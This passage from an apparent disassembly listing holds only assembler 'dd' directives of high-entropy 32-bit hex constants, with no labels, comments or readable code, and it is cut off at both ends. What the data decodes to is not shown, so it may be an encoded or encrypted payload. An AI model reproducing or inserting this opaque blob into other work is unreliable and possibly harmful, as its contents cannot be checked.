25F700D6h, 0AA09DF74h dd 0E00CC04h, 89EC569Dh, 0FC64E663h, 5E76182Bh, 0D2132055h dd 0BC96EE00h, 8652BACEh, 0D6EEACAh, 0B210EAD9h, 6F864081h dd 0D3006914h, 0CE0BA357h, 4C211AD7h, 60030468h, 37259AC7h dd 0E1F0311Fh, 0DB533BC0h, 2C0E4Ah, 0F19965B5h, 0FFCE67A1h dd 8A0066E8h, 603A8840h, 0B97624h, 95D76C91h, 82DE427Fh dd 3F4CE607h, 0C1E0F1FFh, 98144450h, 400F60A3h, 34A8A30h dd 31B78500h, 0E90B06A4h, 5A3607C1h, 207C99BEh, 4797ACBh dd 46C73800h, 9D160663h, 0A1FE009Fh, 442EC317h, 3B00DA5Eh dd 0FB89F1E2h, 7C273D81h, 7BC0F70h, 0B9C07AAAh, 0B4CD76Dh dd 0D0B81B6Ch, 0C6627450h, 0D1075188h, 0C601FCF8h, 79B25C96h dd 2DC31FDh, 0CD2107C0h, 17E8DA58h, 0E21FD02Ah, 5C0E3227h dd 0E0E05EE5h, 24A9AEB8h, 27C00A7h, 458AF20Ah, 0B7EAC8F8h dd 9CFE591Ch, 3967007Dh, 0B55F8F84h, 642601E1h, 41ACF64Fh dd 0F5D5FC1Ah, 37E29F00h, 71CAEEC3h, 117900BBh, 33E0994Dh dd 400215Eh, 0FAF2DA2Eh, 7F754852h, 9D203C5Ah, 0EB5C1B83h dd 900DFD8Ch, 40A08279h, 262A1AE0h, 0DEC96Ch, 15B2F625h dd 3C798828h, 0C2F92C00h, 53AD64EBh, 0D62078F4h, 0C56B0040h dd 0C8D4C62Ah, 86406F00h, 3CC99F0Eh, 9C2B0B70h, 0FD5B742h dd 9E69205Bh, 76712E7Dh, 0B9E60032h, 0F05CAF08h, 0F800CC19h dd 8D4E524Bh, 32DDDEh, 6A1C1857h, 15688360h, 3911C830h dd 776D62h, 10D7A680h, 0E4F2DD0Ch, 25F31E00h, 56F5FD14h dd 372400E1h, 41608FABh, 0E6002CEBh, 0D3263212h, 0C57F11h dd 144D73DEh, 0ED09B8BCh, 0E1802300h, 0F2D460A6h, 0F5930010h dd 432A756Eh, 7661A1C9h, 18611680h, 0C0A88880h, 533544DFh dd 7D3F0D00h, 0CFB85F3Dh, 7727258h, 0C73AF2E8h, 7620BFDAh dd 0B52693Bh, 7BF51500h, 8BF76AD6h, 9098C068h, 0A9B9776h dd 15ECC500h, 6F6789B5h, 6EFF37C1h, 68F71371h, 0B552310Fh dd 85DEA6Dh, 18147F00h, 0F843D43h, 58918CF5h, 0A402CA1Eh dd 0EDC6809Ch, 606DBBACh, 78F64B2Ah, 0DE52F801h, 84F275A9h dd 0A033A0F8h, 0FB03B4h, 0DB599107h, 0D87CFAB1h, 95384700h dd 0ECFC2A96h, 63AD025Eh, 68400749h, 4BCAD481h, 9A9D1055h dd 124E4BAh, 0A1B61153h, 8CC717C3h, 297F3F91h, 58D800E4h dd 0DE2B928Eh, 0A9006D47h, 2AD0A24Bh, 5073775Eh, 1F02D891h dd 0B8E44Ch, 68A8BB31h, 9E06758Bh, 90C20BC3h, 4452E080h dd 97009A7Eh, 0FDCB6FABh, 0A14C24h, 13EAC8B1h, 15DF617Fh dd 55EED001h, 6AEDC17Eh, 74C2B448h, 15E2832Ch, 0B8E21C4Bh dd 89746446h, 948B402Ah, 1006CF2h, 663D2B87h, 60E84885h dd 0BEAE3963h, 0DFA1C24Eh, 0AAC0A4F2h, 3F0C6021h, 0BFB16Eh dd 0C1EDD6DAh, 0D8B4BA4Ch, 5E514900h, 250A3F36h, 14890F9h dd 1847EAC6h, 44E7F279h, 497804F1h, 3C08908Ah, 280954ABh dd 2071A8F0h, 0D6596A78h dd 982D019Dh, 15EBAD70h, 5805568h, 4A21C20h, 71DDCD0h dd 1BC09F85h, 298A523h, 53C96082h, 94A35F74h, 0EEF022FCh dd 8E00D8D7h, 84FFF9CEh, 0A167BDh, 3CCFCCF6h, 4C491044h dd 0E78AE014h, 2781388h, 339A0021h, 2ADA844Ch, 667445ACh dd 0F112B8CFh, 19A53839h, 8B49899Bh, 738462F8h, 0BFE0041h dd 7B07E46Dh, 0DEF49F88h, 28DDF930h, 48C65717h, 61C1E8ECh dd 0D67D4741h, 99378900h, 599560AAh, 6D1F71D0h, 48E1E200h dd 29ADB808h, 0C79004B0h, 0DC541D41h, 0E12884Ch, 0C700F6F7h dd 31B551FBh, 644354D1h, 2F092469h, 0C68E4128h, 4D3F0111h dd 95AC8450h, 0D8930008h, 1F8E911Ch, 900B50Dh, 0B668D576h dd 0C272B3A0h, 56F878B1h, 6DC2F890h, 0AFF780h, 868CCD20h dd 24FB8DB9h, 7C028571h, 0BE94835h, 1390AE61h, 489C860h dd 986401C5h, 0AC4315E6h, 0D084578Bh, 0A908BF1Ah, 7FD05414h dd 0FB4F80BCh, 4C5F2D64h, 37CF6CDCh, 5CB0EE69h, 0E9D0A3F6h dd 2CDD3BE0h, 0E40FAF57h, 1E3127B7h, 1C4441C1h, 0AB9424h dd 0C758B8DEh, 0B50BEFD4h, 0E37FB1C7h, 2D1D782Ah, 62730020h dd 0DA091461h, 6734DDF6h, 9000D08Ah, 0A483A76Ah, 303B1D33h dd 801E9Fh, 420F38E6h, 870082CBh, 0BD8AA30Ch, 3ADB1BAh dd 14C3916h, 8D8D8EBh, 99303053h, 452238DAh, 57240FF9h dd 8DC067DFh, 0D4E4DE96h, 8029213Fh, 59A2C7EBh, 272340A5h dd 0F8586239h, 84798C60h, 3D26C0A6h, 4802737h, 5A8AB388h dd 20C0D961h, 70991C6Ah, 0DF8E16EAh, 771203BDh, 94A88AB5h dd 3E0117D4h, 0A6CD80BCh, 0D8BBF209h, 5B7EA381h, 0D0F0A590h dd 0F91FBE8Ch, 1E0001B5h, 5210416Fh, 0F46A30B3h, 0D2FB6431h dd 901D4000h, 0AF15068Eh, 0F731030Fh, 82782574h, 0B951280Fh dd 62B97AF2h, 0F090338Ch, 0E01FBD0Bh, 6DB00D2h, 0F8742B2Ch dd 0E6620AA8h, 0A0925A69h, 0B56AF49Ch, 8C0D004Bh, 0F12C8B46h dd 9B53F586h, 9DE70094h, 0D828EB56h, 0D6FA0636h, 70C347BAh dd 87A60614h, 0EAFC00E4h, 331CB173h, 0B4FE0C19h, 9F71E86Ah dd 1B02BF00h, 2198596Ch, 82243FC7h, 79C68580h, 0E3A604AEh dd 0D5754315h, 34C800C8h, 0B91EEDFFh, 0A65A3089h, 0A435E319h dd 6DD6D100h, 70DD0F4Fh, 7B4900EEh, 0D58BFCB3h, 5103980Bh dd 2507248h, 5E9189Fh, 0FAA4080Ch, 6300FFB0h, 132D7AAFh dd 2B8C16h, 3AAE4B89h, 0EDEC8B5Ah, 51346B15h, 2EE00CB8h dd 38DA81A5h, 28F85F09h, 9088FFD7h, 887857h, 0EA8B8A58h dd 7ADEAC6Fh, 2BF3B30Eh, 3F1A408Dh, 0D71922h, 0C103C473h dd 5577435Ch, 0DCAD3000h, 7B8D2498h, 7F170067h, 1D2F13B2h dd 78163728h, 0EE87C7h, 0D2DC15A4h, 0ECF8637Ah, 4200A879h dd 4846D6F1h, 48358D25h, 0EB0352B8h, 6695C06Bh, 0D8F415D0h dd 85B7BA00h, 78CE22ABh, 43F30104h, 181D7956h, 3798C0FAh dd 4FFF8B00h, 0DF386B6Fh, 7AAC09DBh, 67026DCDh, 5841E1B9h dd 0FBA1DC37h, 0BBFC420Ch, 16B7822h, 8649081Dh, 0C092BDE1h dd 3D18986Fh, 0C29938D7h, 9E6B0278h, 0B20B6768h, 0F2928880h dd 0B000152Dh, 0B6DC1C25h, 985BB4h, 7B798975h, 0BB7042B8h dd 65978CA8h, 5EA8285Bh, 2FDF8F00h, 0C035EEFEh, 775D590Ch dd 0E01629F4h, 1ABC1DC3h, 650AFC7Dh, 4090D3FEh, 29CE4E59h dd 7744DA00h, 0BFEC5CD4h, 5E33D52h, 80124A14h, 0DEFD8B01h dd 406D5DDBh, 2816CC40h, 0F32B120h, 8CDCCEEEh, 42454880h dd 7A50F888h, 5C188BF4h, 2C70214Eh, 784F60FBh, 0E0CA227Dh dd 0D34C6B00h, 48A49E08h, 66862842h, 0C1EC2080h, 5C1871F4h dd 0B980F598h, 3237D3Eh, 948C7C7Dh, 5118F02Bh, 0BF9993DCh dd 56AD3EA8h, 62320D80h, 0CDA2ED54h, 1B2D8F03h, 0B1E04333h dd 389F42DCh, 7195C07Bh, 4B669873h, 9C72A900h, 8064B738h dd 0F3FB0353h, 84DCE424h, 0CDBB6100h, 35AAC2B4h, 2A9F00B6h dd 79A61885h, 6A00AE29h, 0DAFEF1F0h, 48BB5C37h, 42086878h dd 0A38A9EB2h, 6E8094DBh, 2D5388C3h, 592014BBh, 12C3E85Fh dd 300093A1h, 0AD266248h, 300182h, 0C77197EDh, 336FF7B7h dd 7D5A1800h, 5E9F0C12h, 0D08A5342h, 0F625940Ah, 1DEE8690h dd 9612511Fh, 417A2Bh, 8C2AA63Eh, 56C19C20h, 5B1F7CC2h dd 0A77440CBh, 79DB169Fh, 0D93738C2h, 44D4822Fh, 744700C2h dd 51306B64h, 7BEEE0DFh, 71F863E2h, 8930F9C2h, 0FCC3745Bh dd 0CD7C00D1h, 0F67AA99Bh, 0EB0E26B8h, 46F5FB52h, 906922B3h dd 454C002Fh, 0E52DA2A0h, 3A03E068h, 32E567Ch, 7F589917h dd 0A5DF3C0h, 8BDCE30Fh, 0D2888E80h, 7484DBE5h, 271000FCh dd 8E92A2DEh, 6425AF24h, 0AE115B40h, 4F0405F4h, 4023D2D4h dd 1A657E94h, 6062A605h, 0CC1C0F8h, 0ACAB98E8h, 4844D6CAh dd 2C1F131Fh, 0C4FD2383h, 4B6087E2h, 2938CBD2h, 1778E5D4h dd 33A2012Bh, 0C648B0FFh, 9E22B84Ch, 9DA33084h, 0E7496569h dd 0D35C4E01h, 4FB3C238h, 4DE36D30h, 2C894878h, 43F2C000h dd 284C1348h, 377B0085h, 4101330Bh, 31090345h, 0EB7E9DB6h dd 74B953h, 0CCC6D78Bh, 1C2AB6h, 36C85E64h, 0A8468AC4h dd 1BBFE102h, 4C1A7E3Ch, 98E5085Ch, 2501B31Dh, 0CAC305ADh dd 4236B06Bh, 22035A1Fh, 0A446D90Fh, 8C80C92h, 2E67F5Bh dd 0EF68A0F6h, 3C6CFF94h, 6C70E02Ah, 2236451Fh, 27D55A89h dd 23704B48h, 0EC3D1C63h, 0B73618C1h, 2FFB8605h, 88FEAE30h dd 0B1641F26h, 189AA414h, 128B81EEh, 0FA16EA00h, 600F809Bh dd 1D530110h, 0D743E08Eh, 0EA042454h, 0F050050Bh, 4A2280F5h dd 67D91Bh, 8E8758F9h, 0C6AFC938h, 0AC3D1E24h, 0AFA4FC62h dd 3EECC088h, 2664AD8Ah, 60A0141Ch, 58D44847h, 149F7026h dd 9C6A50h, 0DC1B8398h, 259DEC55h, 0EEB9F262h, 451480C2h dd 28377674h, 24F030A3h, 0C234EA2Dh, 6844C29Dh, 0FA024775h dd 0D0372F67h, 0A8D0685Dh, 58D30065h, 41438E80h, 0B401323Ah dd 0CE818F82h, 20557F92h, 0E92F5461h, 0D6989180h, 12ECC34Ah dd 3B0187EAh, 6F8B5BCAh, 0E45C9C3Eh, 0F80C3596h, 34CC3039h dd 0C706896Eh, 0E60D921Ch, 0A25B1021h, 6C480087h, 0D6B4465Ah dd 0EFB50319h, 95B8746Dh, 40F330FFh, 90B081h, 81F2C24h dd 5037920Ah, 5A0AA826h, 0C594C889h, 0C8D980A4h, 3810FB82h dd 0CE806A83h, 0BC42C157h, 3712452Ch, 284B35B7h, 0E5BC31E7h dd 0C6A1D8E3h, 0E3752619h, 3796C2A8h, 1E439890h, 0B6E5C10h dd 0A0EEAC05h, 7E500A2Bh, 28C364E8h, 0C5C08BB3h, 0D20B3B26h dd 1870037Ch, 55D66A8Ch, 0DDDCA0B0h, 0B34D004Eh, 1B52514Ch dd 0A30418AEh, 7401E0B4h, 0CF1D04C0h, 2D420CA2h, 4139B7CEh dd 11EA8C00h, 0DE18ED5Ch, 1D9C9B8Ah, 0A5D08A5Bh, 0F5BB9Ch dd 467A55E1h, 4AD4FC7h, 8E6D9F1Dh, 0C62F117h, 784C80DCh dd 919627Dh, 0B10499FCh, 867C7822h, 0F0578A11h, 31BC2380h dd 657300C0h, 0FDF0552Bh, 0C02C406h, 0D73702A3h, 0CA98A0F7h dd 3F286F57h, 3187841Fh, 855DC695h, 0FB4C987Ch, 66083842h dd 90A6A5B9h, 1E11306Ah, 91BC9E00h, 0F0748A99h, 89F01D4Ch dd 0C4A8302Ch, 0ADAC002Ah, 5B826DAFh, 0FF4CC53Bh, 0FD83093Bh dd 0AC60B004h, 0B84B1679h, 2FB031C0h, 0BC48DAD0h, 0A60E3152h dd 60405DD2h, 67A0B78Dh, 0B49A3C7Ah, 7D4A2A81h, 0DE77DA37h dd 0E1207064h, 48F249B2h, 7881F689h, 745CDCFCh, 9E002A70h dd 4D9D83CEh, 0B8FD88DEh dd 1B6000CDh, 0AAAC257Dh, 5C93E41Ch, 54C32C0Ah, 0FDD0340h dd 21DC0198h, 41557923h, 1F9060FEh, 0BE08ED1Dh, 0F7082C2Ch dd 3796130Dh, 58C03A14h, 0A8A58912h, 8407F096h, 0D6E7CE38h dd 0AFE8903Bh, 2A87040Eh, 0C0676316h, 75D0041Fh, 8550E949h dd 0E020CFEEh, 6A35745h, 0DB04D3D9h, 0FA00499Dh, 0F38826F9h dd 0AA1E6Fh, 8CBEB285h, 0FE4F204Bh, 425C9F12h, 20F75492h dd 55F1591h, 390B53F0h, 0B0815B72h, 6430EE18h, 0C8FC7986h dd 8B0024A4h, 4DA11AD8h, 4446C5Bh, 9583C559h, 1F7C8082h dd 75489846h, 5CC10985h, 0D514404Bh, 7C6DF859h, 1F09384h dd 9E9F02B9h, 61BA68h, 20669C62h, 270FECh, 4C4E4BD0h, 7085D2E3h dd 7416B20Eh, 32BF80C6h, 6DDCA73h, 9186D3FBh, 1100389Bh dd 4AC73C2Eh, 8C7F3Dh, 1FF9BC73h, 0E61C38F5h, 1D716800h dd 6F9BE821h, 85BA0058h, 0CD1902F6h, 7806C39Dh, 5D821C0Dh dd 84233C89h, 9BCCCB07h, 0FC49902Dh, 1B01305Eh, 98206910h dd 0D3D26Eh, 0ED6D5450h, 0CD35B12Eh, 1B25CB00h, 30DAADC0h dd 29020E82h, 0C05DE3E4h, 0D7926EA0h, 0B9C3BBF9h, 654E49h dd 99AFB748h, 1D2927B6h, 0CF6DE00h, 6419DFE6h, 0E4D100CAh dd 910D052Dh, 0C00151DBh, 0AAF15608h, 8981C971h, 9C8E03CBh dd 0BD8CD4BEh, 0DFD02100h, 0EA73948Ah, 96260745h, 56B09C09h dd 0F019F06Ah, 4A816425h, 0DCE676F4h, 0CE710A98h, 0BF0638Ch dd 0FB0229DEh, 43E5B286h, 2D8480BBh, 7588F3h, 0C819F712h dd 5D84B64Bh, 9960E630h, 0C1E76FD7h, 0A5A871F1h, 1C0CC856h dd 0B55B2106h, 18787977h, 288EE33Dh, 6D3CC323h, 76EB1D48h dd 800C0707h, 0C219409Fh, 0CB39CCDh, 62359DA2h, 5E2914A0h dd 8600F0E4h, 0F995E6FAh, 838E1EB0h, 65488C66h, 7DF6ABC1h dd 7B7C1D09h, 4B101824h, 665440E4h, 9FDD513Bh, 91060CE7h dd 5819083Dh, 0F60FF46Fh, 1500B8F3h, 0DCE4E91Eh, 88EC9F54h dd 809C6520h, 0DC23E684h, 41CE9E39h, 0F77485A0h, 0FC4FC422h dd 1FF08619h, 0BBC8E831h, 9DE600FBh, 0F394ADBCh, 48C42E24h dd 91470557h, 0A2EF10B4h, 0E00EA71h, 63C8CAB8h, 790A0B6h dd 0E35B2221h, 44BC5A1Eh, 0C9C841ADh, 0E1F98555h, 5949808Ah dd 0F245A888h, 0E2F628h, 5DE617A5h, 8A522A91h, 49AC980Fh dd 780CD2E8h, 55591Ch, 81B7D793h, 0F1D05F06h, 798824h dd 0C6CCB495h, 7E18F44h, 651A334Dh, 0D4A8D0A2h, 0BE004098h dd 379F170h, 0E2846F86h, 0AEC2058Ch, 61C6975Fh, 120746Ch dd 80470486h, 0ED8D9EE0h, 0DCB3292Dh, 54B0A8D8h, 935BAC63h dd 4423E44h, 0C91198ABh, 2CAE3890h, 0F7FE591Ch, 0DD4BC100h dd 25710D7Dh, 9B04EF72h, 0D6F32624h, 3DCB24C3h, 0E9003651h dd 5B120776h, 0AF0F2CFEh, 0A0051BA5h, 5ADD83CFh, 5F57C25h dd 3EE768FFh, 6AE4401Dh, 1A30EB4Ch, 31AC39h, 0BD3CA490h dd 153A7B38h, 34B40458h, 0EE647500h, 2EA14F3h, 8F8DC33Eh dd 3C4B93E7h, 0D6B4C000h, 4C6B75ADh, 0FC401021h, 36B08990h dd 0C67E0070h, 0F10A07E9h, 822118E8h, 163D29A5h, 5240DD01h dd 0AAB2BB50h, 1B9043h, 0CB05D4B1h, 1078E40Dh, 58A1B01Fh dd 20DE9DCFh, 0DAEF7186h, 40F4AA8Eh, 243DB7CCh, 4280F14Eh dd 6066D0D9h, 0BE769700h, 0D63556A4h, 0BCF1484Ah, 21AB4C85h dd 15A4A164h, 8CAE8403h, 4657F270h, 0A85B1064h, 802049D0h dd 0F14F62A2h, 2C060E10h, 586037E9h, 43C275EBh, 4924ED76h dd 52808057h, 4087A4F5h, 7D950BAEh, 0DC03ADB2h, 7690F726h dd 0A004F5B8h, 4F159ACDh, 2798F882h, 90742086h, 4830AF22h dd 9C5515Ah, 6F2F39A3h, 40E20F9Dh, 0CBF0FC27h, 1007F7AAh dd 714F678Ah, 0B09418F9h, 0D52118C7h, 7220C1D2h, 786E102Ch dd 0CED72600h, 6EE54BB8h, 5B0521E1h, 3EB85EE9h, 0D2864A01h dd 366C27F7h, 0DF7E12F0h, 0A4868C30h, 0D819143Fh, 7280ACF9h dd 0E54310EAh, 49732498h, 29EFC200h, 0B1F73568h, 8CE418E8h dd 1E3DF09Eh, 4F388F63h, 6B08884Bh, 4AF6015Fh, 0B2F09DB1h dd 9936C098h, 3A2CE504h, 808C4804h, 8601585Dh, 8E2BA102h dd 54A29BB4h, 0D8485E82h, 0FE00E64Eh, 8D290DAh, 0A863494Bh dd 0FBED0ACh, 0BDAA0A0Eh, 5038852Bh, 88A99010h, 2419DD4Ah dd 0E36FEF28h, 5E094E9h, 5F71B8B2h, 13069C56h, 9E8236Ah dd 0A11878C7h, 68023C89h, 49050F15h, 1CD19088h, 4094E2E6h dd 0F59C704Dh, 0ED05EF83h, 6C15B0A5h, 5AD6E860h, 69D967CBh dd 227E5169h, 9F30BB8Eh, 0C01ADBBh, 125D6576h, 860BD832h dd 8120EEFh, 4937EC4Eh, 1B70894Dh, 0EB4F87Dh, 816FF975h dd 18E25FC0h, 5B1E0450h, 0A66B73h, 47D09E40h, 2AC4777Bh dd 148C0613h, 0F4BF01C3h, 72CA1016h, 45205A0Ch, 1A1AC6Dh dd 0AFCCF81Ch, 0D82578A2h, 6204A33Fh, 0FA2DDB84h, 0A0D314C1h dd 63B53842h, 23E5DA0Ch, 512E5325h, 74409870h, 0C23EE1h dd 8424BDCBh, 3413B356h, 37FEAE1Ch, 0B0D076CBh, 54818978h dd 6E8C56h, 65119EFAh, 1F9615E5h, 0FED56A07h, 8CE0093Eh dd 0BD2F3BFh, 6533CAECh, 631C2031h, 41CD238Ch, 8972EA5Bh dd 4B9CD7A9h, 44E4E230h, 496734B8h, 0DADC6310h, 200425E4h dd 0A8141219h, 38775900h, 97B8418Bh, 88CEF026h, 0DAA5DBE7h dd 7DFB50C8h, 4E75DEFh, 0F390501h, 80404924h, 7E019921h dd 0F6C26131h, 8E9054Ah, 276F4FA0h, 9192D678h, 95F98D00h dd 71B3C1BDh, 0FAD81618h, 3D9861FCh, 480C2422h, 182F0600h dd 28B2507Ah, 0E2080139h, 0F583883h, 9122E073h, 551B5900h dd 4597E7B4h, 1A0E049h, 370A8186h, 80285DD5h, 9F619D31h dd 1A5F64h, 1F7289DBh, 3A51EABEh, 0E0E0383Ch, 1B783E29h dd 0AEE300CFh, 90D1C28Dh, 9460DFB1h, 0BBAAFE20h, 87D700C7h dd 0B7556206h, 6BF6988Eh, 535AA007h, 540FBFDh, 0DD9708h dd 0D338950Fh, 8F9F6BE9h, 16D4AF1Dh, 0E780439Dh, 3F9EE525h dd 634CE087h, 0BA958035h, 0BFED29F0h, 67CE1300h, 0EC5D1C8Ah dd 9CEB03DDh, 355096Fh, 0E058580Ch, 5CFBB96Ch, 778C8E4h dd 640E52FEh, 80E1D3CFh, 0BBA2100h, 0B779BDE5h, 0C501006Eh dd 0D656204Fh, 5818985Dh, 3D81344Dh, 0EBB50073h, 9C3E8CABh dd 1F00DC52h, 6E4E4A15h, 19FB708h, 0DB033B88h, 863A12DEh dd 80D51839h, 2AF099h, 0D35911D1h, 516AEFA3h, 0DEDD3F1Eh dd 3001308Ch, 80C9749Fh, 0C3003D4Ah, 1249829Dh, 7B1A45h dd 24B3AEDCh, 51301D03h, 6B45007h, 34EF358h, 0BFD4D59h dd 3D76949h, 0B1421C07h, 40BD9088h, 0BB37CC9Ah, 0EB2F9202h dd 0BACF086Dh, 972000B8h, 30D4AB0h, 45077B70h, 30EF36C2h dd 786674DCh, 8CC03B14h, 39FC6C0h, 0C28800B9h, 29F25A82h dd 0D5156796h, 15808124h, 8C204Ch, 90AEC3F0h, 906F0634h dd 82E22050h, 0EC362C06h, 7158D253h, 757804E1h, 90C8B0DEh dd 0FBCF3B38h, 8DD97305h, 0FDC09131h, 803F75h, 0A2BE8BDFh dd 365901B5h, 0E1F7500Fh, 52F28358h, 30CEB8B8h, 0C3AF6FAh dd 31EEDE53h, 835009F1h, 0A891E030h, 9036F500h, 1E8C6EBh dd 0CF4686BCh, 486042EDh, 54008594h, 9AC06E9h, 904658D2h dd 0E0FA0081h, 0DFB0284Dh, 9D7E944Ah, 50141370h, 34BB3Fh dd 0F96AD8E1h, 0AA0549Bh, 86F124ADh, 0DDEE07D9h, 8AFC9075h dd 30482A9Fh, 94B003D0h, 1F4BB67h, 0A1480141h, 20ED1692h dd 7016140h dd 266FDBF2h, 380104B6h, 0E9E3E8E2h, 39CABB31h, 3DCCB9DAh dd 0B2BD0BB4h, 8580D58Bh, 0D476E9BEh, 15CF6102h, 4E58AF16h dd 27F4FD54h, 2476FC2Bh, 621C2692h, 44BF2Ah, 0A7CC2C48h dd 54C8BB08h, 48FCB051h, 1021F3DCh, 7EC81E0h, 801A5EDEh dd 0A9DA7E09h, 0E8004046h, 91F8CA08h, 3DEE166h, 7442735Ah dd 80051C5Ch, 0DF5609FAh, 80801C08h, 3B405504h, 9D0082E7h dd 0C683A9D3h, 641CD57h, 0A2262EF2h, 0D514B9D0h, 8AFC6F75h dd 9D4570F7h, 0F8A7C463h, 521478h, 0E6D6F588h, 826F2C9h dd 0D565BFE4h, 7C00BB51h, 308D3C52h, 14F30067h, 0B6948F40h dd 0D8AA299Fh, 621E5846h, 390E021Dh, 18370944h, 48D5C984h dd 0B890A43Ah, 78F80222h, 0CD0069DFh, 0ACB3AAF8h, 1860A493h dd 311D44F5h, 5B010CC3h, 0AD916672h, 19805C09h, 0CE706E58h dd 1A187457h, 0F138D824h, 308F50D6h, 19D49856h, 12CF07A8h dd 0D03260h, 2A82B4A2h, 3FFACA6Ch, 12F9DADCh, 2E4F7F4h dd 59E310C0h, 7938F880h, 5600059Eh, 5BCE0C55h, 32BABB74h dd 0DEA801E1h, 0C6236B20h, 0B1902CEh, 116F15D9h, 0BF712041h dd 260A4478h, 138E0BD8h, 0D61C71E3h, 0F04225Eh, 616016F5h dd 96608E4h, 2E9CC8CCh, 164E523Dh, 3A882682h, 0A68893h dd 38A16440h, 0E0B90044h, 0D5A7F99Ah, 0A312AABFh, 901F7091h dd 3D12DFC6h, 7FD11931h, 202FF05Ah, 6F89B270h, 52005C26h dd 491D3194h, 0A4774135h, 0F511149Bh, 5EF29D01h, 719930BDh dd 2AD00C08h, 0F31B610h, 31DCBB18h, 55001084h, 7E1DBED9h dd 68EFC02h, 998AFE20h, 0EE33FC38h, 0E818A964h, 126694F2h dd 8F55A12h, 6F81154Ch, 3CEC91A8h, 0ACE43370h, 2B1901B0h dd 69CFC160h, 2C96E40Bh, 0F4DD89C0h, 52C8C5h, 0AACB3654h dd 0F3E80584h, 3E5DA900h, 42C30E4Bh, 32109ADAh, 0D4B9F85Bh dd 77D5A8B0h, 0B8B054B9h, 5DA006B2h, 1A636492h, 0C8807926h dd 0DC0B9CDDh, 10FE4D87h, 0D8EB60h, 9B4DE1Ch, 0B9686914h dd 39F65E01h, 8B703AFDh, 85017037h, 0F4BDCFA4h, 0D51CCCE1h dd 81875E31h, 9850224Ch, 1C869825h, 0A4D8AADCh, 84CD3C98h dd 0BB8CDEC8h, 22DD9CBh, 0C5266CACh, 70A2A003h, 2A228179h dd 42E846B3h, 679A1924h, 4C113D28h, 47E1ACFCh, 6331B300h dd 580C1CDAh, 4501AAD4h, 26CF98E7h, 6080C521h, 98A9AEACh dd 38E05C20h, 8002563Ah, 42D60E3h, 3F50832h, 24EE5915h dd 96F2B6D1h, 9CB04846h, 0EE7C2744h, 4C1B0021h, 13E03BA1h dd 9E005487h, 0BBFBAB0Ch, 17999FB9h, 8CE2F23h, 4C8C3A80h dd 30F7C109h, 59070ABh, 0C7017C54h, 0F57D1C31h, 2C765C9Bh dd 51003522h, 362F8023h, 0BD21E0h, 5AE6730Ch, 0E33798D8h dd 0DCF6F106h, 2EC82632h, 9466EEh, 0A856FD49h, 2D5DDA7Ah dd 78D08D4h, 64AB08F2h, 0B9A70985h, 86FD841h, 15D0041Eh dd 0B02A5C7Bh, 2928EE05h, 915086A6h, 0A643F2F7h, 983C94FDh dd 1F547124h, 6D44780Ch, 26A2372Ah, 0E759D041h, 78B1BB23h dd 2B84BD00h, 0D2C748h, 3E8776FBh, 7F95D586h, 0EE18302h dd 8BD91FA3h, 5414918Ch, 0F627E4h, 729EA553h, 21EB2639h dd 15D0452Eh, 40062813h, 0F739DC4Fh, 60B54C11h, 580778F9h dd 0DDDE5E1Eh, 8292D772h, 609E34C0h, 92F1858h, 27C2B256h dd 8CCE0AAh, 0F5052348h, 88215F09h, 0E9833BE0h, 6EA3E1Bh dd 9B73A88h, 8B99E300h, 14152A8Fh, 77E50AD5h, 0A2B458C0h dd 76A1001Ch, 0FAE3BAA6h, 49002F1Dh, 7014934Bh, 284A9642h dd 53C65995h, 2008B076h, 8E832DE1h, 0C8A6CD7Bh, 89691Ch dd 4C21E232h, 0F830AD98h, 0A7283462h, 0F4E41E9h, 3470A855h dd 0F0490BA8h, 146600F2h, 9B15D55Dh, 2800CE81h, 5FAB5657h dd 0E5496F0h, 87353474h, 0FFCC3012h, 2900AD85h, 0B9C918BBh dd 73CDB043h, 0CFA50233h, 63516CC1h, 53BA9701h, 88C9F430h dd 0FE009008h, 45CCBC2Fh, 3BC2CB5Fh, 0C11D5DF7h, 73E9C002h dd 4FB83E38h, 7700A491h, 8ECDBDD0h, 6878007Ch, 2E48FCEBh dd 60187E8Fh, 4C280895h, 5C31C03Bh, 0BECAAE39h, 13E3A48h dd 7D4272FEh, 0C4C420B1h, 0E7D33BCEh, 88A817A8h, 2A9562B0h dd 3C90189Fh, 8F922F33h, 0D7487253h, 0FD7FA920h, 0EC6A0317h dd 0DA5F6862h, 0DBD180CCh, 0E5F09A18h, 0BF28E498h, 2C0680F7h dd 0C002DC83h, 7710F149h, 0C600C857h, 0BE6498DEh, 1905428h dd 0B4E242D9h, 0D0833A94h, 24B21027h, 36CA9D22h, 0B8F912DEh dd 98D144h, 0CD32B310h, 5CE05EA9h, 5942E416h, 334CA406h dd 0D5A10331h, 0D34A6BCCh, 39700D5h, 47B6F053h, 0D890343Bh dd 5ADE048Ch, 0D4C85DD6h, 0A832F9F4h, 0D5A68300h, 0F7DDB9A8h dd 1F6E081Ch, 7047B5C3h, 0E0401829h, 12283924h, 0A6C4A801h dd 2A8ABF43h, 2FED6E8h, 0C87365D5h, 50686FADh, 6B00269Bh dd 0AC240115h, 5C2370F6h, 7D00F790h, 840EB4FCh, 0BE3FA0F9h dd 4DD50150h, 2B9F781Fh, 98CCDD60h, 0FA2F0788h, 0C0793F90h dd 63CBD0B6h, 93731F09h, 0DE28104Dh, 0EA25E0AFh, 0AC35008Ch dd 0AA8A4EE4h, 9BB00434h, 3BD69706h, 3029F2h, 49CCA5F5h dd 59200330h, 6BFFF05h, 0D0C8AF79h, 0BABE03EDh, 933DE115h dd 0B02590B8h, 12145EEFh, 0C4C82438h, 351301E5h, 3DC68971h dd 67F6D43Bh, 660BF5F2h, 81704FD3h, 1A5A205Ch, 30479C01h dd 0AA00FFCDh, 0BE1BC3E0h, 40BB6Ah, 7C68A512h, 0EF5B34B4h dd 9004D025h, 3A6718h, 3E1AD6E6h, 2CB6897Dh, 0E7E0AD3Bh dd 0B7F0DB21h, 465D8Eh, 0A2C34F3Ah, 426D7A4Dh, 573AEAEAh dd 0F6BA87EEh, 1840ADAAh, 8A2131h, 0FCAF90B7h, 8C0B541Ch dd 72BCF61Eh, 5916F440h, 75D5C5BFh, 0ED2617E3h, 2202333h dd 7A2900A4h, 3D9364Ah, 708F7908h, 55F0A2FAh, 905C0CC4h dd 0FCB380A0h, 7B7D78h, 0B07CFEC0h, 5BC46DF4h, 0C6B3628h dd 6C8CD62Eh, 90E00449h, 0F7F48A20h, 843C20C8h, 1274Ch dd 550D0E7Ah, 7B8A01B5h, 0F2F46FC8h, 0B4A02A65h, 0A83C1CC2h dd 0F0A827h, 934F20EDh, 137AFC6Dh, 0BE4C3D00h, 6BA8052Dh dd 5B550FE8h, 